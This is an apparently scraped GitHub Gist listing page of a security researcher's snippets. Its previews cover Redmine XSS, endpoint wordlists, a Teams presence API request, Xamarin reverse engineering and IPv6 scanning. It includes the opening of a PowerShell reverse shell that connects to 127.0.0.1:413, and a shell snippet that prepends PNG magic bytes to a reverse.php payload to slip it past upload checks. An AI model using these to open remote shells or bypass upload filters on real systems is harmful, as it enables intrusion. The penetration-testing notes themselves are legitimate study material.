Skip to content

Instantly share code, notes, and snippets.

@Techbrunch
Techbrunch / redmine-xss-vulnerability.md
Last active April 20, 2021 21:40
Redmine XSS Vulnerabilities
@Techbrunch
Techbrunch / golang_handlefunc_combined.txt
Created June 29, 2020 08:28
Enpoints extracted from golang projects
/*
/{*}
/1.0/domains
/1.0/records
/1.0/records/3
/1.0/token
/123456/domains
/123456/domains/112233/records
/123/records/
/1/admin/msg/del
Google
Microsoft
Forcepoint
Mimecast
ZSCALER
Fortinet
Amazon
PALO ALTO
RIPE
McAfee
@Techbrunch
Techbrunch / mini-reverse.ps1
Created May 6, 2020 16:15 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@Techbrunch
Techbrunch / microsoft-teams-presence.md
Created April 27, 2020 17:45
Microsoft Team Presence

Presence is part of a user's profile in Microsoft Teams (and throughout Office 365) that indicates the user's current availability and status to other users. By default, anyone in your organization using Teams can see (in nearly real time) if other users are available online.

Teams presence in Outlook is supported on the Outlook 2013 desktop app and later.

Source: https://docs.microsoft.com/en-us/microsoftteams/presence-admins

Request:

GET /api/mt/emea/beta/users/first.last@example.com/externalsearch HTTP/1.1
Host: teams.microsoft.com
@Techbrunch
Techbrunch / gist:bf127334fd0338f7167937a0df97acb1
Last active May 3, 2023 15:59
UnCrackable App for Android Level 1
@Techbrunch
Techbrunch / magic.sh
Created April 3, 2020 18:50
Adding magic bytes at the beginning of a file
# The magic bytes for PNG
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r >> reverse.php.png
cat reverse.php >> reverse.php.png
@Techbrunch
Techbrunch / xamarin-reverse-engineering.md
Last active July 12, 2024 16:31
Xamarin Reverse Engineering

Notes:

Regarding the interception of HTTP:

We did it through USB reverse tunneling and iptable rules local to the phone.

@Techbrunch
Techbrunch / ipv6.md
Created March 29, 2020 10:08
IPV6 Scan on AWS

Nmap IPV6 Scanning: https://nmap.org/book/port-scanning-ipv6.html

While IPv6 hasn't exactly taken the world by storm, it gets significant use in some countries and most modern operating systems support it. To use Nmap with IPv6, both the source and target of your scan must be configured for IPv6. If your ISP (like most of them) does not allocate IPv6 addresses to you, free tunnel brokers are widely available and work fine with Nmap. I use the free IPv6 tunnel broker service at http://www.tunnelbroker.net. Other tunnel brokers are listed at Wikipedia. 6to4 tunnels are another popular, free approach.

On AWS, enable IPV6 on the VPC, make sure to add an Internet Gateway with routes to the Internet in the route tables (0.0.0.0/0 and ::/0).

Source: https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Internet_Gateway.html

You should now be able to scan IPV6 address: